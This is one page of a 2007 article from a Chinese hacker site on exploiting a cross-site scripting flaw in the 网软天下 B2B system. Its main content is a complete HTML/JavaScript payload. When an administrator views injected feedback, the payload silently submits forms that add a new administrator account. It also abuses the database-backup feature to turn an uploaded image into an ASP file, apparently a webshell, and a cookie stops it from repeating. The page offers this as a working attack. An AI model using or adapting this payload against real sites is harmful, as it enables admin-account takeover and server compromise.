| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 原创推荐 >> 正文 用户登录 新用户注册
[组图]跨站注入的终极利用       ★★★ 【字体:
网软天下系统脚本漏洞,深入分析跨站的利用
对<”网软天下系统漏洞剖析”>一文的补充
作者:初学者 文章来源:本站原创 点击数: 更新时间:2007-12-28




(图12)

其实,我们可以将上面的二个步骤合为一个步骤来实现.

但是大家注意到没有,当管理员查看信息反馈后,会弹出此用户已存在,请重新输入”,”数据库备份成功的警告框,当你点击确定后,将反复提交跨站的代码,从而造成死循环,这样一来,跨站就没得玩了,看来还得解决这个问题,上网去找了些资料,高人已给出了解决的办法,就是利用cookies来做一个只允许访问一次的页面,不让我们的跨站代码重复的提交,完整的代码如下:
代码片段十:

<html>

<form name="form" method="post"

action="http://127.0.0.1/b2b/admin/administrator/administrator.asp?

action=save">

<input name="user" value="初学者">

<input name="pass" value="77169">

</form>

<form name="form1" method="post"

action="http://127.0.0.1/b2b/admin/system/admin_backdb.asp?

action=back">

<input  name="currf" value="../ ../UserDocument/marcosa/Picture/20071124100000.gif ">

<input  name="backf"  value="huaxia">

<input  name="backfy"  value="1.asp">

</form>

<SCRIPT language="JavaScript">

<!--

function huaxia(){

document.form.submit()

document.form1.submit()

}

function get_cookie(Name) {

var search = Name + "="

var returnvalue = "";

if (document.cookie.length > 0) {

offset = document.cookie.indexOf(search)

if (offset != -1) {

offset += search.length

end = document.cookie.indexOf(";", offset);

if (end == -1)

end = document.cookie.length;

returnvalue=unescape(document.cookie.substring(offset, end))

}

}

return returnvalue;

}

 

function cnt_net(){

if (get_cookie('初学者')==''){

huaxia()

document.cookie="初学者=77169"

}

}

cnt_net()

//-->

</SCRIPT>

</html>

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] 下一页

责任编辑:老孔  联系方式  Email:老孔
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各有关法律法规。
    • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
    • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
    • 本站管理员有权保留或删除评论内容。
    • 评论内容只代表网友个人观点,与本网站立场无关。
    • 更多原创作品及讨论、调查请登陆华夏论坛
    姓名: * 游客填写 ·注册用户
    主页:
    评分: 1分 2分 3分 4分 5分
    验证码: *
    最新hack更新
    最新推荐资讯
    相关黑客
    脚本攻击防范策略完全篇
    EditPlus查找注入表达式
    跨站Script攻击与防御
    破解SQL自动注入猜解机
    MSN 最新跨站代码
    Asp.net注入台湾站
    JPEG EXIF 跨站攻击
    温柔杀手跨站Script攻击
    无聊的Css跨站挂马
    脚本注入如何绕过限制
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号